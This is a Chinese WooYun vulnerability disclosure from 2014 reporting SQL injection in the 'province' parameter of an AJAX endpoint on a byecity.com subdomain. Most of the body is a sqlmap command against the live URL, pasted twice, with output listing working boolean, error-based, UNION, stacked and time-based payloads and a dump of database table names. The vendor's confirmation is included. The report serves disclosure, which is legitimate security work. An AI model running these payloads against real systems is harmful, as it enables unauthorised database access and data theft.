当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052508

漏洞标题:佰程旅行网又一个SQL注射可致所有业务数据库泄露

相关厂商:byecity.com

漏洞作者: lxj616

提交时间:2014-03-02 10:58

修复时间:2014-04-16 10:58

公开时间:2014-04-16 10:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-02: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向核心白帽子及相关领域专家公开
2014-03-23: 细节向普通白帽子公开
2014-04-02: 细节向实习白帽子公开
2014-04-16: 细节向公众公开

简要描述:

重新检测了所有分站,找到一处分站的SQL注射

详细说明:

漏洞位置:
http://dazhe.byecity.com/ajax/ajaxurl.aspx
参数province没有过滤,导致注射

wvs.png


C:\Users\Administrator>sqlmap.py -u "http://dazhe.byecity.com/ajax/ajaxurl.aspx?action=city&province=12" -p province --tables


sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
---
Place: GET
Parameter: province
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=city&province=12 AND 5069=5069
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: action=city&province=12 AND 6452=CONVERT(INT,(SELECT CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (6452=6452) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: action=city&province=12 UNION ALL SELECT NULL,CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+CHAR(84)+CHAR(86)+CHAR(100)+CHAR(109)+CHAR(75)+CHAR(105)+CHAR(78)+CHAR(97)+CHAR(118)+CHAR(115)+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113),NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=city&province=12; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=city&province=12 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: action=city&province=(SELECT CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (7564=7564) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113))
---
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: Information
[56 tables]
+---------------------------------------------------+
| SiteSystem.Articles |
| SiteSystem.Entertainment |
| SiteSystem.Hotel |
| SiteSystem.Restaurant |
| SiteSystem.ShoppingMall |
| SiteSystem.Sight |
| SiteSystem.Themes |
| SiteSystem.Traffic |
| SiteSystem.TypeSummary |
| bosssystem.ContentModules |
| bosssystem.ContentModules |
| bosssystem.Modules |
| dbdatareader.Articles |
| dbdatareader.CommonIdentity |

漏洞证明:

C:\Users\Administrator>sqlmap.py -u "http://dazhe.byecity.com/ajax/ajaxurl.aspx?action=city&province=12" -p province --tables


sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
---
Place: GET
Parameter: province
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=city&province=12 AND 5069=5069
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: action=city&province=12 AND 6452=CONVERT(INT,(SELECT CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (6452=6452) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: action=city&province=12 UNION ALL SELECT NULL,CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+CHAR(84)+CHAR(86)+CHAR(100)+CHAR(109)+CHAR(75)+CHAR(105)+CHAR(78)+CHAR(97)+CHAR(118)+CHAR(115)+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113),NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=city&province=12; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=city&province=12 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: action=city&province=(SELECT CHAR(113)+CHAR(103)+CHAR(100)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (7564=7564) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(111)+CHAR(107)+CHAR(113))
---
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: Information
[56 tables]
+---------------------------------------------------+
| SiteSystem.Articles |
| SiteSystem.Entertainment |
| SiteSystem.Hotel |
| SiteSystem.Restaurant |
| SiteSystem.ShoppingMall |
| SiteSystem.Sight |
| SiteSystem.Themes |
| SiteSystem.Traffic |
| SiteSystem.TypeSummary |
| bosssystem.ContentModules |
| bosssystem.ContentModules |
| bosssystem.Modules |
| dbdatareader.Articles |
| dbdatareader.CommonIdentity |

修复方案:

PS:一般这种显错注射可导致【所有数据库信息】瞬间泄露的,rank一般在10以上(高危)

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-03-03 09:28

厂商回复:

非常感谢 我的QQ。一起处理下公司的安全问题。有奖哦!

最新状态:

暂无


漏洞评价:

评论